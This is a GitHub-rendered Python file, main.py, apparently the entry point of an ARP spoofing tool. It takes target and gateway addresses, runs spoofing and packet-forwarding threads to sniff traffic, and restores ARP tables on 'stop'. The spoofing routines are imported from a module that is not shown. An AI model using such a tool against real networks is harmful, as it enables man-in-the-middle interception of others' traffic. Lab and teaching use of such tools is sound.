-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
46 lines (34 loc) · 1.39 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import argparse
import threading
from time import sleep
from include import spoofing, restore, set_1, set_2, packet_forwarding, stopFlag1, stopFlag2
def main():
parser = argparse.ArgumentParser(description='python main.py [target ip], [target mac], [gateway ip], [gateway mac] [my ip] [my mac]')
parser.add_argument('targetIp', type=str)
parser.add_argument('targetMac', type=str)
parser.add_argument('gatewayIp', type=str)
parser.add_argument('gatewayMac', type=str)
parser.add_argument('myIp', type=str)
parser.add_argument('myMac', type=str)
args = parser.parse_args()
set_1(args.targetIp, args.targetMac, args.gatewayIp, args.gatewayMac, args.myIp, args.myMac)
set_2(args.targetIp, args.targetMac, args.gatewayIp, args.gatewayMac, args.myIp, args.myMac)
arpThread = threading.Thread(target=spoofing)
arpThread.daemon = True
sniffThread = threading.Thread(target=packet_forwarding)
sniffThread.daemon = True
arpThread.start()
sniffThread.start()
print('Packet sniffing start')
print('enter "stop" if you want stop program')
while(True):
tmp = input()
if(tmp == 'stop'):
global stopFlag1, stopFlag2
stopFlag1 = True
stopFlag2 = True
break
restore()
print('Packet sniffing stop')
if __name__ == '__main__':
main()